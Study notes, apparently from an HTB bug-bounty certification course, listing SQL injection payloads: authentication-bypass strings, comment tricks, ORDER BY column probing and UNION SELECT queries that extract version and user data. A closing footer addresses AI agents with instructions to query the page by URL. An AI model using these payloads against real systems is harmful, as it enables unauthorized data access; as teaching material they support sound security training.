# SQL Injections

<figure><img src="/files/z0ZZssfeqM7Zt59iFvUF" alt=""><figcaption></figcaption></figure>

## Basic SQLi Discovery

| Payload | URL Encoded |
| ------- | ----------- |
| `'`     | `%27`       |
| `"`     | `%22`       |
| `#`     | `%23`       |
| `;`     | `%3B`       |
| `)`     | `%29`       |

### Basic Injection

<pre><code><strong>tom' or '1'='1
</strong></code></pre>

<figure><img src="/files/n3lDbA5WY05as7AKDbF4" alt=""><figcaption></figcaption></figure>

### Using Comments

```
admin'--
```

<figure><img src="/files/YvryIRT9kCZVIB6w0VEW" alt=""><figcaption></figcaption></figure>

#### Another Example

```
admin')--
admin') -- -
```

<figure><img src="/files/REANKdcuWJaBYba4rVD0" alt=""><figcaption></figcaption></figure>

```
') or id = 5 -- -
```

<figure><img src="/files/VWsddjujy7wRy1GmzPYD" alt=""><figcaption></figcaption></figure>

### UNION Injection

#### Using ORDER BY

```
' order by 1-- -
# We do the same for column 3 and 4 and get the results back. However, when we try to ORDER BY column 5, we get the following error:
```

<figure><img src="/files/mR3ilgpkmqGEd0XBKjsw" alt=""><figcaption></figcaption></figure>

Using UNION

```
cn' UNION select 1,2,3-- -
```

<figure><img src="/files/m2mBBYgVOUXSXBZoXjM6" alt=""><figcaption></figcaption></figure>

```
cn' UNION select 1,@@version,3,4-- -
```

<figure><img src="/files/Ljk2eALLIqdtoisQdAG2" alt=""><figcaption></figcaption></figure>

#### Other Example

```
cn' union select 1,user(),3,4-- -
```

<figure><img src="/files/y1VYP3BQIY4DRfQRzzAN" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://eldeim.gitbook.io/brain_fuck/notes/certifications/eastereggs/htb-cbbh/sql-injection/sql-injections.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
